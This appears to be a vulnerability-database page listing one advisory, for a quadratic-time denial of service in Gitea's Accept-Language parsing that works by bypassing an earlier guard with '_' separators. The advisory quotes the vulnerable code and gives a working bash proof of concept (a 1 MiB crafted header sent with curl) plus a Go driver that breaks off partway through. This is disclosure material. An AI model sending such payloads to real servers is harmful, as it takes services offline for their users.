Threats tagged 'ghsa-fw57-jgch-pgf3'
1 threat
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.5 | EPSS 0.6% | CVE-2026-58436Gitea · ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests High7.5EPSS 0.6%GCVE DatabaseCVE-2026-58436 ### Summary The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request. ### Affected versions `code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on: - the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`) ### Privilege required Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page. ### Vulnerable code [`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`): ```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ``` `req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is: 1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered. No size or character class filter is applied between (4) and (5). ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container: ```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `gitea/gitea:1.22.6`) A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:13000/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) < | GCVE Database |
Page 1 of 1